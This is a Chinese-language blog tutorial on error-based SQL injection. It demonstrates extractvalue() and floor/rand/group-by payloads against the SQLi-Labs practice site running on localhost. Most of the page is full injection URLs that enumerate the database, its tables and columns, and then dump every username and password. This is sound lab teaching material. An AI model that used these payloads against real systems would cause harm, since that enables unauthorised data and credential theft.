SQL注入——基于报错的注入(五)

本章目的

普及报错功能函数extractvalue()的用法,演示基于报错的SQL注入基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:Sqlmap、BurpsuiteFireFox浏览器及其插件Hackbar、等

(3)登录账号密码:操作系统帐号Administrator,密码789
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0下载环境搭建
(3)登录账号密码:操作系统帐号root,密码258

实验原理

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来

报错注入一般需要具备两个前提条件:

(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;

(2)后台未对一些具有报错功能的函数进行过滤常用的报错功能函数包括 extractvalue()、 updatexml()、floor()、exp()等。

2)关于 extractvalue()函数

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素

语法: extractvalue (XML document, XPath_string)

参数1: XML document是 String格式,为XML文档对象的名称;

参数2: XPath_string(Xpath格式的字符串),注入时可操作的地方。

报错原理:xml文档中查找字符位置是用/x/xx/xxx)...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如: XPATH syntax

error: XXXXXXXX'。

(3)关于foor()函数

在进行报错注入时,floor()函数一般需要与rand()、 count()、 group by联用。

作用:

floor(x):对参数x向下取整

and():生成一个0~1之间的随机浮点数

count(*):统计某个表下总共有多少条记录

group by x:按照(by)一定的规则(x)进行分组;

报错原理:foor()函数与 group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由 group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如: Duplicate entry'...' for key'group_key'。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助 extractvalue()函数,亦或是借助floor()函数、rand()、count()、group by联用,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码

1,访问SQLi-Labs网站

在攻击机 Pentest-Atk打开 FireFox浏览器,并访问靶机 A-SQLI-Labs上的SQLi-Labs网站Less-1。访问的URL为:

http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

登录后,根据网页提示,先给定一个GET参数,即:

http://靶机IP/sq1i-1abs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面 按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入 过程中用Hackbar插件来调整payload参数。

 在此输入框中设置 payload,设置完成后点击 Execute按钮执行

2.寻找注入点

分别使用以下3条 payload寻找注入点及判断注入点的类型

http://.机IP/sqli-labs/Less-1/?id=1'

运行后报错!

http://IP/sqli-1abs/less-1/?id=1' and '1'='1

运行后正常显示!

http://IP/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点

3.获取网站当前所在数据库的库名

使用以下 payload 获取网站当前所在数据库的库名

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat('~',database())) --+

显示结果为 security

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and(select 1 from(select

count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables

group by x)a)--+

 显示结果为security。注意:请忽略后面的1。

4.获取数据库 security的全部表名

使用以下 payload获取数据库 security的全部表名

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

 显示结果中,有一个名为 users的表,这当中可能存放着网站用户的基本信息

注意: extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示,上述 payload可以改为

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+

/显示 security库中的第1张表的名字

以此类推:

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+

/显示 security库中的第2张表的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+

/显示 security库中的第3张表的名字

.........................................................................................................................................................

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

 显示 security库中的第1张表的名字为 emails 

注意:请忽略最后显示的1

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示 security库中的第2张表的名字为 referers

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

显示 secunity库中的第3张表的名字为 uagents

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

 显示security库中的第4张表的名字为users。 

5.获取 users表的全部字段名

使用以下 payload获取 users表的全部字段名

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )))--+

显示结果, users表中有id、 username和 password三个字段

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助 limit来做分行显示,上述 payload可以改为

//显示 users表中的第1个字段的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1)))--+

//显示 users表中的第2个字段的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users'  limit 2,1)))--+

//显示 users表中的第3个字段的名字

.........................................................................................................................................................

使用以下payload获取users表的字段名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' limit 0,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

 显示users表中的第1个字段名字为id。

注意:请忽略最后显示的1

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

 显示users表中的第2个字段名字为username

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

 显示users表中的第2个字段名字为password。

综合以上显示结果,users表中有id、usemame和password三个字段。

6.获取 users表id、 username和 password字段的全部值。

由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit m.n的方式逐条显示,如

(1)显示第1组数据

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 0,1)))--+

显示结果为Dump,Dump

(2)显示第2组数据

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 1,1)))--+

显示结果为 Angelina,- kill-you

(3)显示第3组数据

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 2,1)))--+

显示结果为Dummy,p@ssword。

以此类推,另一种方法 (忽略最后的1,结果相同)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 0, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 1, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 2, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
基于报错的注入两种方式实验至此结束

SQL注入 ——sql数据库操作基础(一)

SOL注入——基于联合查询的数字型GET注入(二)

SQL注入——基于联合查询的字符型GET注入(三)

...

关注我即刻查看其他SQL注入

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值